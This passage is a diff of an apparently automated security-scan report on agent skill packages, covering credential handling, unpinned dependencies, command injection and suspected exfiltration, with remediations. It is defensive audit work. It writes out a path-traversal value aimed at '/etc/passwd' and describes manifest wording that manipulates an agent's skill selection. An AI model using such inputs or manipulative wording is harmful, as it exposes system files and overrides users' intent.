POST request body as form data fields. While HTTPS is used, embedding credentials in request bodies (rather than headers or signed tokens) increases the risk of credential exposure in server logs, proxy logs, and debugging output. The credentials are read from config and passed directly into the multipart form data.> File: `scripts/entry_operations.py`- > **Remediation:** Use HTTP Authorization headers instead of embedding credentials in request bodies. Consider using HMAC-signed requests or Bearer tokens. Ensure credentials are never logged or printed in error messages.+ > **Remediation:** Follow the LabArchives API authentication pattern used elsewhere in the codebase (via the Client wrapper which handles auth headers). Avoid passing raw credentials in form data. If the API requires it, ensure credentials are sourced from environment variables rather than config files where possible.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Batch Operations Without Rate Limiting Implementation+ > The `backup_all_notebooks` function in `notebook_operations.py` iterates through all accessible notebooks and backs each one up without any delay or rate limiting between API calls. Similarly, `batch_upload` in `entry_operations.py` uploads all files from a directory without throttling. While the SKILL.md mentions rate limiting as a best practice, the actual implementation does not enforce it, potentially causing API throttling, account suspension, or excessive resource consumption on both client and server.+ > File: `scripts/notebook_operations.py`+ > **Remediation:** Add configurable rate limiting (e.g., `time.sleep(1)` between API calls) in batch operations. Implement exponential backoff on failures. Add a `--rate-limit` CLI argument to allow users to control request frequency.- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Credentials Stored in Plaintext YAML Config File- > The `setup_config.py` script creates a `config.yaml` file containing sensitive credentials including `access_key_id`, `access_password`, `user_email`, and `user_external_password`. While the script sets file permissions to 0o600, the credentials are stored in plaintext YAML. The authentication guide also shows credentials hardcoded in R code examples. If the config file is accidentally committed to version control or accessed by another process, all credentials are exposed.+ > The `setup_config.py` script creates a `config.yaml` file containing sensitive credentials including `access_key_id`, `access_password`, `user_email`, and `user_external_password`. While the script sets file permissions to 0o600, the credentials are stored in plaintext YAML. The authentication guide also shows hardcoded credentials in R code examples. If the config file is accidentally committed to version control or accessed by another process, all credentials are exposed.> File: `scripts/setup_config.py`- > **Remediation:** Prefer environment variables over config files for credential storage. If config files are used, consider encrypting them at rest using tools like `ansible-vault` or OS keychain integration. Add `config.yaml` to `.gitignore` by default in the setup script. The skill already mentions environment variables as an alternative — make this the default recommendation.+ > **Remediation:** Prefer environment variables over config files for credential storage. If config files are used, consider encrypting sensitive fields. Add config.yaml to .gitignore by default (the skill mentions this as a manual step but should automate it). Consider integrating with system keychains or secret managers.++### liteparse — 🟡 MEDIUM-### matlab — 🟡 MEDIUM+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Trigger in Skill Description+ > The skill description explicitly instructs the agent to activate 'even when the user does not name liteparse', which is a capability inflation / keyword baiting pattern. This directive attempts to manipulate the agent's skill-selection mechanism to prefer this skill over alternatives regardless of user intent, inflating its activation surface beyond what the user explicitly requests.+ > File: `SKILL.md`+ > **Remediation:** Remove the 'even when the user does not name liteparse' directive from the description. Skill activation should be based on user intent and explicit requests, not instructions embedded in the manifest to override normal selection logic.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Static Analyzer Detected Environment Variable Exfiltration Chain Across Multiple Files- > The pre-scan static analysis flagged three specific behavioral indicators: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain spanning 3 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file env var exfiltration across 3 files). The skill package contains 5 Python files that were not provided for review. These findings strongly suggest that the unreferenced Python scripts implement a pattern of reading environment variables (potentially containing API keys, credentials, or tokens) and transmitting them to external endpoints. This is a high-confidence indicator of a data exfiltration capability embedded in the skill.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Recommendation+ > The skill recommends installing `liteparse==2.0.0` which pins the version, which is good. However, the npm package `@llamaindex/liteparse` is referenced without a version pin in the install command. Additionally, the skill references a library version (2.0.0, May 2026) that does not appear to exist on PyPI at the time of analysis, which could indicate a phantom package susceptible to dependency confusion or typosquatting attacks.> File: `SKILL.md`- > **Remediation:** Immediately audit all 5 Python files in the skill package. Look for os.environ, os.getenv, subprocess calls, and any network requests (requests, urllib, http.client, socket). Remove any code that reads environment variables and transmits data externally. The skill's stated purpose (MATLAB/Octave scripting assistance) does not require environment variable access or outbound network calls.+ > **Remediation:** Pin the npm package version explicitly (e.g., `npm i @llamaindex/[email protected]`). Verify that the referenced PyPI package `liteparse==2.0.0` exists and is from a trusted publisher before recommending installation. If the package does not yet exist, this skill should not be deployed until the dependency is available and verified.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Password Passed as Plaintext CLI Argument+ > The skill documents passing PDF passwords as plaintext command-line arguments (e.g., `lit parse protected.pdf --password secret`). Command-line arguments are visible in process listings, shell history, and system logs, potentially exposing sensitive credentials.+ > File: `references/cli_reference.md`+ > **Remediation:** Recommend using environment variables or a prompt-based password input instead of passing passwords as CLI arguments. Add a note in the documentation warning users about the risks of plaintext passwords in shell history and process listings.++- **🔵 LOW** `LLM_PROMPT_INJECTION` — OCR Server URL Accepts Arbitrary External Endpoint+ > The skill supports a user-configurable `--ocr-server-url` parameter that directs parsed document image data to an arbitrary HTTP endpoint. While this is documented as an optional feature for custom OCR backends, it creates a pathway where a user (or an attacker who influences the configuration) could redirect document content (potentially sensitive) to an attacker-controlled server. The skill does not validate or restrict the URL to localhost/trusted ranges.+ > File: `references/ocr_and_formats.md`+ > **Remediation:** Document clearly that the OCR server URL should only point to trusted, locally-controlled endpoints. Consider adding validation in the Python API to warn or restrict non-localhost URLs, or at minimum add a security note in the documentation warning users about the data-exfiltration risk of pointing this at untrusted servers.++### market-research-reports — 🟡 MEDIUM-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-broad Skill Description with Excessive Trigger Keywords- > The skill description is unusually broad, covering matrix operations, data analysis, visualization, signal processing, image processing, differential equations, optimization, statistics, Python conversion, and script execution. While this may reflect legitimate scope, the description is crafted to trigger on a very wide range of user queries, potentially inflating activation frequency beyond what is necessary for a focused MATLAB/Octave skill.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Skill Description+ > The skill description claims to generate reports 'in the style of top consulting firms (McKinsey, BCG, Gartner)' and produce '50+ page' documents. While this is marketing language rather than a direct security threat, it inflates perceived capabilities and may cause the agent to be activated in contexts where simpler tools would suffice. The description also references integration with multiple external skills (research-lookup, scientific-schematics, generate-image, peer-review, citation-management) without declaring these as dependencies in the manifest.> File: `SKILL.md`- > **Remediation:** Narrow the description to the core use case. Avoid listing every possible sub-domain as trigger keywords if the skill's actual behavior is more focused.+ > **Remediation:** Scope the description to accurately reflect what the skill does without brand name association. Declare external skill dependencies explicitly in the manifest metadata.++- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Topic String Interpolated Into Subprocess Commands+ > The generate_market_visuals.py script accepts a --topic argument from the command line and directly interpolates it into prompt strings that are passed as arguments to external subprocess calls. If the topic string contains shell metacharacters or injection payloads, this could lead to command injection when the external scripts process the argument. The formatted_prompt is constructed via Python string .format(topic=topic) and passed directly as a positional argument to subprocess.run() with a list (not shell=True), which mitigates direct shell injection. However, the downstream scripts (generate_schematic.py, generate_image.py) receive this unsanitized string and their handling is unknown, creating a transitive injection risk.+ > File: `scripts/generate_market_visuals.py:100`+ > **Remediation:** Sanitize the topic input: strip or reject shell metacharacters, limit length (e.g., 200 chars), and validate against an allowlist of safe characters (alphanumeric, spaces, common punctuation). Add explicit input validation at argument parsing time with argparse's type parameter.++- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Allowed-Tools Declaration Includes Bash Without Scope Restriction+ > The manifest declares allowed-tools as 'Read Write Edit Bash', which grants broad Bash execution capability. The skill instructions and scripts invoke multiple external Python scripts via subprocess calls and run xelatex compilation commands. While these are legitimate for the skill's purpose, the Bash permission is broad and the skill does not restrict which commands can be run. The generate_market_visuals.py script uses subprocess.run() to invoke external scripts, which is consistent with the declared Bash/Python permissions but represents a wide attack surface if user-controlled topic strings are passed unsanitized.+ > File: `scripts/generate_market_visuals.py:130`+ > **Remediation:** Validate and sanitize the --topic argument before interpolating it into shell commands. Consider using shlex.quote() or equivalent sanitization. Add input length limits and character allowlists for the topic parameter.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Visual Generation Loop With External Process Spawning+ > The generate_market_visuals.py script can generate up to 27+ visuals (CORE_VISUALS + EXTENDED_VISUALS) by spawning a separate subprocess for each visual with a 120-second timeout per process. When invoked with --all, this creates up to 27 sequential subprocess invocations each potentially running for 2 minutes, totaling up to 54 minutes of compute time. The SKILL.md instructions also encourage generating visuals 'as needed during writing', which could result in repeated invocations. There is no global timeout or resource cap on the total generation session.+ > File: `scripts/generate_market_visuals.py:155`+ > **Remediation:** Add a global session timeout. Implement a maximum visual count limit. Add resource usage monitoring. Consider making --all require explicit confirmation. Document the expected runtime in the skill description.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Python Integration Reference Demonstrates HTTP Credential Exfiltration Pattern- > The bundled reference file references/python-integration.md contains an example that uses Python's requests library to make HTTP calls to external APIs, including reading response data. While presented as documentation, this pattern (importing requests, calling external URLs, processing responses) is a common data exfiltration template. The static analyzer flagged environment variable access with network calls and cross-file exfiltration chains across 3 files, suggesting the full skill package (not all files provided) may contain scripts implementing this pattern.- > File: `references/python-integration.md`- > **Remediation:** Review the unreferenced Python scripts flagged by the static analyzer for actual network calls combined with credential or environment variable access. Ensure no scripts implement the read→send exfiltration pattern shown in the reference documentation.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Bug in Extended Visuals List Creates Undefined Variable Reference+ > In the EXTENDED_VISUALS list, the entry for '08_regional_breakdown.png' contains a duplicate tool string ('scientific-schematics' appears twice as both the tool and part of the prompt), and the --only filter references an undefined variable 'VISUALS' instead of the correct variable name. This bug means the --only flag would cause a NameError at runtime, potentially exposing internal script structure in error messages. More critically, the duplicate entry in EXTENDED_VISUALS could cause unexpected behavior.+ > File: `scripts/generate_market_visuals.py:200`+ > **Remediation:** Fix the tuple structure for '08_regional_breakdown.png' to have exactly 4 elements (filename, tool, prompt, is_core). Fix the undefined variable reference from VISUALS to the correct variable. Add unit tests for the visual generation pipeline.### open-notebook — 🟡 MEDIUM- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Exposed in Example Code- > The SKILL.md Quick Start section contains a Python code example that shows an API key placeholder being sent to the local Open Notebook API. While this is a placeholder ('sk-...'), it normalizes the pattern of embedding API keys directly in code and could encourage users to hardcode real credentials in scripts.+ > The SKILL.md Quick Start section contains a Python code example that shows an API key being passed directly as a string literal ('sk-...'). While this is a placeholder/example value, it normalizes the practice of hardcoding API keys in code and could mislead users into doing the same in real usage.> File: `SKILL.md`- > **Remediation:** Add a clear comment in the example emphasizing that API keys should be loaded from environment variables (e.g., os.getenv('OPENAI_API_KEY')) rather than hardcoded, even in examples.+ > **Remediation:** Replace the inline API key placeholder with a reference to an environment variable, e.g., 'api_key': os.getenv('OPENAI_API_KEY'). Add a comment warning users never to hardcode real API keys.- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field- > The skill manifest does not specify a 'compatibility' field, which means users and agents cannot determine which platforms or environments this skill is designed to work with. This is a minor documentation gap.+ > The SKILL.md YAML frontmatter does not specify a 'compatibility' field. This is a minor metadata omission but reduces transparency about which agent environments this skill is designed to work with.> File: `SKILL.md`- > **Remediation:** Add a 'compatibility' field to the YAML frontmatter specifying supported environments (e.g., 'Works with Claude.ai, Claude Code, API').+ > **Remediation:** Add a 'compatibility' field to the YAML frontmatter, e.g., compatibility: 'Works with Claude.ai, Claude Code, API'. This helps users and agents understand the intended deployment context.- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Missing allowed-tools Declaration- > The skill manifest does not declare an 'allowed-tools' field. While this field is optional per the agent skills spec, the skill instructs the agent to execute Python scripts and Bash commands (Docker, curl). Declaring allowed tools would improve transparency about what capabilities the agent is expected to use.+ > The SKILL.md YAML frontmatter does not declare an 'allowed-tools' field. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on which agent tools this skill may invoke. The skill's scripts make network calls (requests library) and perform file I/O, so declaring allowed tools would improve transparency and security posture.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' to the YAML frontmatter to explicitly declare the tools this skill requires.+ > **Remediation:** Add an 'allowed-tools' field to the YAML frontmatter listing the tools actually needed, e.g., allowed-tools: [Python, Bash]. This improves auditability and helps agents enforce least-privilege tool access.- **🟡 MEDIUM** `MDBLOCK_PYTHON_HTTP_POST` — Python code block sends HTTP POST request> Code block in SKILL.md at line 61 contains potentially dangerous Python code.@@ -2190,6 +2380,11 @@> File: `SKILL.md:194`> **Remediation:** Review the code block for security implications.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage Flagged by Static Analyzer+ > The static pre-scan flagged a Python code block using eval/exec (MDBLOCK_PYTHON_EVAL_EXEC). Reviewing the provided scripts, no direct eval/exec calls are visible in the supplied content. This may be present in unreferenced or unshown files (e.g., references/configuration.md or other scripts not fully provided). The risk is low given the scripts shown only use the requests library against a localhost API, but the flag warrants acknowledgment.+ > File: `references/configuration.md`+ > **Remediation:** Audit all script files and markdown code blocks for any eval() or exec() calls. If found, replace with safer alternatives. Ensure no user-controlled input is passed to eval/exec.+- **🟡 MEDIUM** `MDBLOCK_PYTHON_HTTP_POST` — Python code block sends HTTP POST request> Code block in references/configuration.md at line 116 contains potentially dangerous Python code.> File: `references/configuration.md:116`@@ -2225,44 +2420,17 @@> File: `references/examples.md:277`> **Remediation:** Review the code block for security implications.-### paperzilla — 🟡 MEDIUM--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Static analysis flag: eval/exec combined with subprocess detected in unreported scripts- > The pre-scan static analysis reports 'BEHAVIOR_EVAL_SUBPROCESS: eval/exec combined with subprocess detected' across the file inventory, which includes 2 Python files. However, no script files were provided for review in this analysis. This discrepancy suggests that Python scripts exist in the skill package but were not surfaced for inspection. The combination of eval/exec with subprocess is a high-risk pattern that can enable arbitrary code execution or command injection if user-controlled input reaches these constructs.- > File: `SKILL.md`- > **Remediation:** Provide the 2 Python files for full security review. Audit all uses of eval(), exec(), and subprocess calls to ensure no user-controlled input reaches these constructs without sanitization. Replace eval/exec patterns with safer alternatives where possible.--- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Authentication credentials managed via CLI with external API endpoint- > The skill instructs the agent to run 'pz login' and configures an external API URL via 'export PZ_API_URL=https://paperzilla.ai'. The 'pz login' command likely stores authentication tokens locally and all subsequent CLI commands transmit data to this external endpoint. The skill does not clarify what data is sent, how credentials are stored, or what the privacy implications are. Combined with commands that read project data, papers, and recommendations, there is a risk of sensitive research data being transmitted to an external service without explicit user awareness.- > File: `SKILL.md`- > **Remediation:** Clearly document in the skill what data is transmitted to paperzilla.ai, how authentication tokens are stored, and what the data retention/privacy policy is. Require explicit user confirmation before running 'pz login' or transmitting project data to the external API.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata- > The skill manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools (Read, Write, Bash, Python, etc.) can be invoked. Given that the skill installs and runs a CLI tool ('pz') via Bash commands, declaring allowed tools would improve transparency and reduce the risk of unintended tool use.- > File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Bash]' to the YAML frontmatter to explicitly declare that Bash execution is required. Also specify compatibility to clarify supported environments.--- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned third-party CLI installation via Homebrew, Scoop, and GitHub- > The skill instructs the agent to install the 'pz' CLI via 'brew install paperzilla-ai/tap/pz', 'scoop install pz' from a GitHub-hosted bucket, and references a GitHub repository for source builds. None of these installation methods pin to a specific version or hash. This creates a supply chain risk: if the Homebrew tap, Scoop bucket, or GitHub repository is compromised, a malicious version of the CLI could be installed and executed on the user's machine without any integrity verification.- > File: `SKILL.md`- > **Remediation:** Pin the CLI installation to a specific verified version (e.g., 'brew install paperzilla-ai/tap/[email protected]'). Document expected checksums or use signed releases. Advise users to verify the integrity of the installed binary before use.-### phylogenetics — 🟡 MEDIUM-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license or compatibility field. While not a direct security threat, missing provenance information reduces auditability and trust assessment for the skill package.- > File: `SKILL.md`- > **Remediation:** Add explicit license (e.g., MIT, Apache-2.0) and compatibility fields to the YAML frontmatter to improve transparency and auditability.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Referenced Files Not Found (ete3.py, matplotlib.py)- > The SKILL.md instructions reference 'ete3.py' and 'matplotlib.py' as if they are local skill files, but these files are not present in the skill package. These are actually third-party library names (ETE3 and matplotlib), not local files. This creates confusion about the skill's actual dependencies and could mislead the agent about what files are available locally.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata+ > The YAML manifest does not specify a license or compatibility field. While this is not a direct security threat, missing provenance metadata reduces auditability and trust assessment for the skill package.> File: `SKILL.md`- > **Remediation:** Remove misleading file references from the skill manifest. If these are pip/conda dependencies, document them clearly as external dependencies rather than local files.+ > **Remediation:** Add explicit license (e.g., 'MIT') and compatibility fields to the YAML frontmatter to improve transparency and auditability.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation- > The skill instructs installation of bioconda packages (mafft, iqtree, fasttree) and pip packages (ete3) without version pinning. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be substituted.- > File: `SKILL.md:20`- > **Remediation:** Pin all dependencies to specific versions (e.g., 'conda install -c bioconda mafft=7.520 iqtree=2.2.6', 'pip install ete3==3.1.3') and verify checksums where possible.+ > The skill instructs users to install dependencies via 'conda install -c bioconda mafft iqtree fasttree' and 'pip install ete3' without version pinning. This exposes the environment to supply chain risks if any of these packages are compromised or if a malicious version is published. The bioconda channel is generally trusted for bioinformatics tools, but unpinned installs are a best-practice concern.+ > File: `SKILL.md:18`+ > **Remediation:** Pin dependency versions explicitly, e.g., 'conda install -c bioconda mafft=7.520 iqtree=2.2.6 fasttree=2.1.11' and 'pip install ete3==3.1.3'. Consider providing a conda environment.yml or requirements.txt with pinned versions.- **🟡 MEDIUM** `MDBLOCK_PYTHON_SUBPROCESS` — Python code block executes shell commands> Code block in SKILL.md at line 67 contains potentially dangerous Python code.@@ -2284,69 +2452,98 @@> File: `SKILL.md:198`> **Remediation:** Review the code block for security implications.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Potential Command Injection via MAFFT Method Parameter- > In the script's run_mafft function, the 'method' argument is passed directly into a shell command as '--{method}' without sanitization. If user-controlled input reaches this parameter, an attacker could inject arbitrary MAFFT flags or potentially manipulate command behavior. While subprocess.run with a list (not shell=True) mitigates direct shell injection, unsanitized flag injection can still cause unintended behavior.- > File: `scripts/phylogenetic_analysis.py:57`- > **Remediation:** Validate the 'method' parameter against an explicit allowlist before use. The argparse choices restriction helps at the CLI level, but add server-side validation within the function itself: assert method in ['auto','linsi','einsi','fftnsi','fftns'], f'Invalid method: {method}'+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — False Positive Flag: No Actual Environment Variable Exfiltration Found+ > The static pre-scan flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION, but manual review of all code in SKILL.md and scripts/phylogenetic_analysis.py reveals no actual environment variable access (no os.environ, os.getenv, etc.) and no network calls to external servers. The subprocess calls are exclusively to local bioinformatics tools (mafft, iqtree2, FastTree). The static analyzer appears to have produced false positives. This finding is informational only.+ > File: `scripts/phylogenetic_analysis.py`+ > **Remediation:** No remediation required. The static analyzer flags appear to be false positives. Confirm no environment variable access or outbound network calls exist in any unreferenced files.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Potential Path Traversal via Input FASTA and Output Directory Parameters- > The script accepts user-supplied file paths (input_fasta, output_dir, outgroup) and passes them directly to subprocess commands and file operations without path validation. A malicious user could supply paths like '../../../etc/passwd' or paths pointing to sensitive files, potentially causing the tool to read or overwrite unintended files.- > File: `scripts/phylogenetic_analysis.py:100`- > **Remediation:** Validate and sanitize all user-supplied file paths. Use Path.resolve() and check that resolved paths remain within expected working directories. Reject paths containing '..' components.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — User-Controlled Input Passed to subprocess Without Sanitization+ > In scripts/phylogenetic_analysis.py, the --mafft-method argument is passed directly into a subprocess command as '--{method}'. While argparse restricts choices to a whitelist, the --outgroup argument (a free-form string) is passed directly to iqtree2 via '-o outgroup'. If the outgroup value contains shell metacharacters, this could be a concern, though subprocess.run with a list (not shell=True) mitigates most injection risk. The risk is low but worth noting.+ > File: `scripts/phylogenetic_analysis.py:68`+ > **Remediation:** Validate the outgroup argument against known leaf names before passing to subprocess. Since shell=False is used (list form), actual shell injection is not possible, but input validation is still good practice to prevent unexpected tool behavior.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Resource Consumption via Bootstrap and Thread Parameters- > The script accepts user-controlled bootstrap replicates and thread counts without upper bounds. A user could specify extremely large bootstrap values (e.g., --bootstrap 1000000) or excessive thread counts, causing significant CPU and memory exhaustion on the host system.- > File: `scripts/phylogenetic_analysis.py:107`- > **Remediation:** Add reasonable upper bounds for bootstrap replicates (e.g., max 10000) and thread counts (e.g., max os.cpu_count()). Validate these parameters before passing to subprocess calls.+### polars — 🟡 MEDIUM-### primekg — 🟡 MEDIUM+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — allowed-tools Restriction Violated: Bash and Python Usage Beyond Declared Read-Only Scope+ > The YAML manifest declares `allowed-tools: Read`, meaning the skill should only read files. However, the SKILL.md instructions extensively demonstrate and encourage executing Python code (DataFrame operations, file I/O, database connections, cloud storage access) and Bash commands (uv pip install). The instructions direct the agent to run Python scripts and shell commands, which violates the declared Read-only tool restriction. The referenced but missing `polars.py` script further suggests Python execution was intended.+ > File: `SKILL.md`+ > **Remediation:** Either update `allowed-tools` to include `Bash` and `Python` to accurately reflect the skill's actual usage, or remove all executable code examples and restrict the skill to purely read-based reference documentation.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing License and Compatibility Metadata- > The skill manifest does not specify a license or compatibility field. The skill-author attribution references 'Harvard MIMS' for the original PrimeKG dataset, which is published under specific academic use terms. Without a clear license declaration, users may unknowingly violate the original dataset's terms of use when deploying this skill in commercial or production contexts.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Script File (polars.py) and Multiple Asset Files+ > The skill references `polars.py` in its file inventory and instructions, but the file is not found. Additionally, numerous asset and template variants of reference files (templates/io_guide.md, assets/io_guide.md, assets/best_practices.md, etc.) are listed as referenced but not present. This creates an incomplete skill package where the agent may attempt to load non-existent files, potentially leading to unexpected behavior or fallback to untrusted sources.> File: `SKILL.md`- > **Remediation:** Specify the appropriate license (PrimeKG is published under MIT license per Harvard MIMS). Add compatibility information indicating OS requirements (Linux/WSL required due to /mnt/c/ path usage).+ > **Remediation:** Remove references to non-existent files from the skill instructions, or include the missing files in the skill package. Ensure the skill only references files that are bundled within the package.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Handling Guidance Present Without Security Warnings+ > The io_guide.md reference file contains database connection URI patterns with inline credentials (e.g., `postgresql://user:pass@localhost/db`, `mysql://username:password@localhost:3306/database`) and cloud storage credential patterns. While the guide does include a note recommending credential providers over hardcoded secrets for AWS/Azure/GCS, the database URI examples still show plaintext credentials embedded in connection strings, which could encourage insecure credential handling practices.+ > File: `references/io_guide.md`+ > **Remediation:** Replace all example connection strings containing placeholder credentials with environment variable patterns (e.g., `os.environ['DB_URI']`) or references to secrets managers. Add explicit warnings that credentials must never be hardcoded in scripts.++### polars-bio — 🟡 MEDIUM-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — SKILL.md References Windows and Linux Paths Inconsistently Suggesting Incomplete Portability- > The SKILL.md instructions reference 'C:\Users\eamon\Documents\Data\PrimeKG\kg.csv' (Windows path) in the Data access section, while the Python script uses '/mnt/c/Users/eamon/Documents/Data/PrimeKG/kg.csv' (WSL path). This inconsistency suggests the skill was developed for a specific developer's environment and was not prepared for general distribution. Users on macOS or native Linux will receive misleading setup instructions.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Missing Script Files Referenced in Skill Package+ > The skill references two Python files (polars_bio.py and polars.py) that are not present in the package. The static pre-scan flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files, strongly suggesting these missing Python scripts contain environment variable access combined with network calls. Without these files, the actual behavior of the skill cannot be fully audited. This is a significant gap: the SKILL.md instructions direct the agent to use these modules, but their contents are unknown.> File: `SKILL.md`- > **Remediation:** Standardize path references and provide clear, platform-agnostic setup instructions. Use an environment variable for the data path and document how to set it on Windows, macOS, and Linux.+ > **Remediation:** Include all referenced Python files in the skill package. Do not deploy skills with missing script files that are flagged by static analysis for potential exfiltration behavior. Audit polars_bio.py and polars.py for any network calls that transmit environment variables or credentials to non-user-specified endpoints.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Hardcoded Absolute Path Exposing Developer's Local Filesystem Structure- > The skill hardcodes an absolute path referencing a specific developer's home directory: '/mnt/c/Users/eamon/Documents/Data/PrimeKG/kg.csv' and 'C:\Users\eamon\Documents\Data\PrimeKG\kg.csv'. This exposes the developer's username and local filesystem layout, and the skill will silently fail on any other system. More importantly, this path is not configurable, meaning the agent will attempt to access a hardcoded path on the user's machine that likely does not exist, potentially causing unexpected behavior or errors.- > File: `scripts/query_primekg.py:7`- > **Remediation:** Replace hardcoded paths with a configurable environment variable (e.g., os.environ.get('PRIMEKG_DATA_PATH')) or a relative path within the skill package. Document the required setup clearly in the skill README.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Environment Variable Access Documented+ > The skill explicitly documents and encourages use of cloud credential environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, AZURE_STORAGE_ACCOUNT, etc.) for cloud storage access. While this is standard practice for cloud SDKs, the skill's instructions normalize reading these sensitive environment variables and transmitting them to cloud endpoints. The static analyzer flagged cross-file environment variable exfiltration chains across 2 files, suggesting the referenced (but missing) Python files (polars_bio.py, polars.py) may contain this behavior. Since those files are absent, the full risk cannot be assessed.+ > File: `SKILL.md`+ > **Remediation:** Verify that the missing polars_bio.py and polars.py script files do not harvest environment variables beyond what is needed for the declared cloud SDK operations. Ensure credentials are only used for the user-specified cloud paths and not transmitted to any third-party endpoints. Include the actual script files in the package for full auditability.-- **🟡 MEDIUM** `LLM_RESOURCE_ABUSE` — Repeated Full CSV Load on Every Function Call Causes Compute Exhaustion- > The _load_kg() helper is called inside every public function (search_nodes, get_neighbors, find_paths, get_disease_context). Each call reads the entire 4-million-edge CSV (~hundreds of MB) from disk into memory with no caching, memoization, or singleton pattern. A workflow that calls multiple functions (e.g., get_disease_context which internally calls search_nodes then get_neighbors, each loading the full CSV) will load the multi-hundred-MB file 3+ times per query. This can exhaust available RAM and cause severe performance degradation or OOM crashes on the agent's host machine.- > File: `scripts/query_primekg.py:10`- > **Remediation:** Implement module-level caching using a global variable or functools.lru_cache to load the CSV only once per session. Consider using a proper graph database (e.g., Neo4j, DuckDB) for a 4M-edge dataset.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description+ > The skill description claims to be a 'faster bioframe alternative' and lists an extensive range of capabilities (BED/VCF/BAM/GFF/CRAM/FASTA/FASTQ/SAM/Hi-C, cloud-native, streaming, SQL). While these may be accurate for the underlying library, the description is designed to maximize activation across a very wide range of genomic tasks. The phrase 'faster bioframe alternative' is a competitive displacement claim that could cause the agent to prefer this skill over others in ambiguous situations.+ > File: `SKILL.md:1`+ > **Remediation:** Scope the description to accurately reflect the skill's actual purpose without competitive displacement language. Avoid over-broad capability claims that could cause unintended skill activation.++### pptx — 🟡 MEDIUM++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Skill Activation Description+ > The skill description is extremely broad, instructing the agent to activate 'any time a .pptx file is involved in any way' and to 'trigger whenever the user mentions deck, slides, presentation, or references a .pptx filename, regardless of what they plan to do with the content afterward.' This over-broad activation language could cause the skill to be invoked in contexts where it is not needed, potentially expanding the attack surface unnecessarily.+ > File: `SKILL.md`+ > **Remediation:** Narrow the activation criteria to specific, well-defined use cases rather than triggering on any mention of presentation-related keywords.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Unsanitized User Input Passed to pandas str.contains (Regex Injection)- > The search_nodes function passes the user-supplied name_query string directly to pandas str.contains(), which interprets the input as a regular expression by default. A malicious or malformed regex (e.g., '(a+)+' or an extremely complex pattern) could cause catastrophic backtracking, consuming excessive CPU. While not a direct code execution risk, it represents an injection of untrusted regex patterns into the query engine.- > File: `scripts/query_primekg.py:47`- > **Remediation:** Use regex=False parameter to treat the query as a literal string: nodes['name'].str.contains(name_query, case=False, na=False, regex=False). If regex support is needed, validate and sanitize the input first with re.escape().+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Versions+ > The SKILL.md dependencies section installs packages without version pins (e.g., 'pip install markitdown[pptx]', 'pip install Pillow', 'npm install -g pptxgenjs'). Unpinned dependencies are vulnerable to supply chain attacks where a malicious version of a package could be published and automatically installed.+ > File: `SKILL.md`+ > **Remediation:** Pin all dependencies to specific versions 